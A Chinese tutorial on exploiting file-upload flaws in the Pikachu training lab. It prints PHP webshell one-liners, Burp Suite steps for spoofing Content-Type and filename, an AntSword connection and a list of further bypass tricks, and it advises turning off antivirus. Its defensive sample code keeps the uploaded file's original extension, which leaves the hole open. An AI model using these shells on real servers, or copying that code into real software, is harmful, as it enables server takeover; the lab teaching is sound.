从零搭建Pikachu靶场:文件上传漏洞实战指南
当你第一次听说"文件上传漏洞"时,可能会觉得这是个高深莫测的黑客技术。但实际上,这是Web安全领域最基础也最危险的漏洞之一。想象一下,如果一个网站允许你上传任意文件到服务器,而你恰好知道如何利用这个漏洞——这意味着你几乎可以完全控制这个网站。本文将带你从零开始,在本地环境中复现这一经典漏洞场景。
1. 环境准备:搭建Pikachu靶场
在开始实战前,我们需要一个安全的实验环境。Pikachu是一个专为Web安全学习设计的漏洞演示平台,包含了各种常见漏洞场景。以下是详细的搭建步骤:
- 下载PHPStudy:访问官网获取最新版,选择Windows版本下载安装
- 安装基础环境:运行安装程序,默认勾选Apache+MySQL+PHP组合
- 获取Pikachu源码:从GitHub克隆或下载压缩包
- 部署到本地:将Pikachu文件夹放入PHPStudy的
WWW目录 - 初始化数据库:访问
http://localhost/pikachu,按照提示完成数据库配置
提示:确保关闭所有杀毒软件实时防护功能,避免误拦截关键文件
安装完成后,你应该能看到Pikachu的欢迎界面。点击"文件上传漏洞"模块,我们就进入了今天的实战场景。
2. 理解文件上传漏洞的本质
文件上传漏洞之所以危险,是因为它直接关系到服务器安全。当网站对用户上传的文件检查不严格时,攻击者可以上传恶意脚本文件(如PHP后门),进而获取服务器控制权。
常见的防护措施包括:
- 检查文件扩展名(如禁止.php)
- 验证Content-Type头
- 检查文件内容签名
- 重命名上传文件
- 存储在非Web可访问目录
在Pikachu靶场中,模拟了以下几种防护措施:
| 防护类型 | 实现方式 | 典型绕过方法 |
|---|---|---|
| 扩展名过滤 | 黑名单过滤.php | 使用.phtml、php5等替代 |
| Content-Type检查 | 要求image/jpeg | 修改请求头 |
| 文件内容检查 | 检测文件头 | 添加合法文件头 |
3. 制作可绕过检测的WebShell
传统的一句话木马通常使用<?php @eval($_POST['cmd']);?>,但在严格过滤的环境下,我们需要更隐蔽的方式。以下是几种替代方案:
<!-- 方案1:利用<script>标签 --> <script language="php"> system($_GET['cmd']); </script> <!-- 方案2:短标签形式 --> <?= @eval($_POST['cmd']); ?> <!-- 方案3:添加图片文件头 --> GIF89a <?php @eval($_POST['cmd']); ?>将上述代码保存为shell.phtml,注意:
- 使用文本编辑器保存,确保无BOM头
- 文件名避免可疑关键词
- 必要时添加合法文件头混淆
4. 实战绕过上传限制
现在,我们进入Pikachu的文件上传测试页面。尝试直接上传.php文件会被拦截,以下是分步绕过方法:
- 首次尝试:上传shell.php,观察返回错误
- 分析防护:错误提示"仅允许上传图片格式"
- 修改策略:
- 将文件重命名为shell.jpg
- 使用BurpSuite拦截请求
- 修改两个关键参数:
Content-Type: image/jpeg Filename: shell.phtml
- 验证上传:检查返回路径,确认文件存在
关键BurpSuite修改点:
- 修改Content-Type为合法图片类型
- 同时修改文件名为允许的扩展名(.phtml)
- 保持文件内容不变
5. 连接WebShell获取Flag
成功上传后,我们需要验证WebShell是否可用。使用蚁剑(AntSword)连接:
- 配置连接:
- URL: http://localhost/pikachu/uploads/shell.phtml
- 密码: cmd(与WebShell中定义的POST参数一致)
- 测试连接:执行
whoami命令确认权限 - 寻找Flag:
- 浏览网站根目录
- 检查常见flag存放位置
- 使用搜索功能查找flag文件
在Pikachu靶场中,flag通常位于根目录下的flag.txt或数据库表中。通过蚁剑的文件管理功能,我们可以轻松查看和下载这些文件。
6. 防御措施与最佳实践
理解了攻击原理后,作为开发者更应该知道如何防护。以下是几种有效的防御方案:
服务器配置加固
- 在php.ini中禁用危险函数:
disable_functions = exec,passthru,shell_exec,system - 设置open_basedir限制访问范围
代码层面防护
// 检查文件类型 $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['file']['tmp_name']); // 白名单验证 $allowed = ['image/jpeg', 'image/png']; if(!in_array($mime, $allowed)) { die('Invalid file type'); } // 重命名文件 $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); $newName = md5(uniqid()).'.'.$ext; move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$newName);运维层面建议
- 上传目录设置为不可执行
- 定期审计服务器文件
- 使用WAF防护常见攻击模式
7. 拓展练习与深入学习
掌握了基础绕过技巧后,可以尝试更复杂的场景:
- 双重扩展名绕过:如shell.php.jpg
- 大小写混淆:如sHell.PhP
- 空字节截断:shell.php%00.jpg
- .htaccess攻击:自定义解析规则
- 条件竞争攻击:利用时间差绕过删除操作
推荐进一步学习的资源:
- OWASP文件上传防护指南
- Web for Pentester官方靶场
- PortSwigger的文件上传实验模块
每次遇到新的防护措施时,建议按照以下流程分析:
- 观察正常请求和响应
- 尝试各种变异和模糊测试
- 分析过滤逻辑和可能的盲点
- 设计针对性的绕过方案
- 验证并优化攻击向量